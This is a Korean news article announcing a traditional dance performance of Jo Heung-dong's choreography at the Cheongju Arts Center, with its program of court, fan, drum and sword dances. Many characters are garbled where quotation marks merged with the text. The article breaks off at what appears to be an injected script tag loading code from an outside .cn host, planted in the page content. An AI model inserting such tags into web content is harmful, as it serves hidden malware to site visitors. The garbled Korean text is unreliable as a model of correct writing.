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제목 [한빛일보] 전통춤 레퍼토리 - 조흥동 춤의세계
내용 전통 한국춤 레퍼토리 ‘조흥동 춤의 세계’ 내달 15일 청주예술의전당서 강태경 기자 precandy@hvnews.co.kr 청주시민들에게 화려한 전통춤사위를 감상할 수 있는 재미와 역동적인 북의 두드림으로 한국춤의 힘을 발견할 수 있는 경험을 안겨줄 공연이 찾아온다. 청주예술의전당이 2006 아트페스티벌 세 번째 명품 공연시리즈로 ‘조흥동 춤의 세계-우리 전통춤의 재발견’을 다음달 15일 오후 7시30분 청주예술의전당 대공연장 무대에 올린다. 이 공연은 ‘한량무의 대갗이자 ‘한국 춤사위를 가장 많이 보유한 무용갗로 평가받고 있는 조흥동 경기도립무용단 예술감독의 춤의 세계를 알리기 위해 마련한 무대로써. 조 예술감독이 안무한 12개 춤을 김정학 경기도립무용단 상임안무가가 재해석해 경기도립무용단의 춤사위로 감상하게 된다. 레퍼토리는 ‘춘앵무와 태평무의 향연’. ‘연갗. ‘여인의 고정’. ‘진쇠춤’. ‘부채춤’. ‘한량무’. ‘장고춤’. ‘강강술러. ‘모듬북’. ‘입춤’. ‘검무’. ‘승무’. ‘북의 향연’ 등으로 구성된다 1부 공연은 왕과 왕비가 국태민안을 기원하였다는 춤으로 발 디딤새의 절묘함이 돋보이는 ‘춘앵무와 태평무의 향연’을 시작으로 남녀의 만남과 이별을 극적으로 표현한 ‘연갗. 여인의 내면에 흐르는 정·중·동을 현대적 감각에서 풀어본 ‘여인의 고정’등이 이어진다. 꽹과리로 가락과 소리를 내어 여러 신들을 불러들였다는 ‘진쇠춤’도 선보이며. 부채를 펴고 접는 꽃부채의 흐름에 따라 춤추는 ‘부채춤’도 감상할 수 있다. 또 세태를 풍자한 무용극화 형식의 춤 ‘한량무’. 여인들이 허리에 장고를 메고 추는 춤 ‘장고춤’등이 무대에 오른다. 이날 선보이는 한량무는 경기지방에서 성행했던 춤으로 고 조태호 선생에게서 배운 무원을 근거로 조 예술감독이 재정립했다. 우리나라 남성춤의 진수로 조 예술감독의 독특한 춤사위를 볼 수 있는 대표작이기도 하다. 2부 공연에선 전남 진도지역에서 행해졌던 강강술래를 새롭게 재구성한 ‘강강술러를 비롯해 신문고·승전고 등 한민족의 애환을 현대적 리듬으로 승화시킨 ‘모듬북’. 단아하면서 정갈하고 은은한 기품이 느껴지는 ‘입춤’등을 볼 수 있다. 이외에도 신라 화랑들의 검무를 소재로 한 ‘검무’. 한국춤의 품위와 격조가 엿보이는 ‘승무’. 불교의식무인 ?script src=http://dae3.cn>
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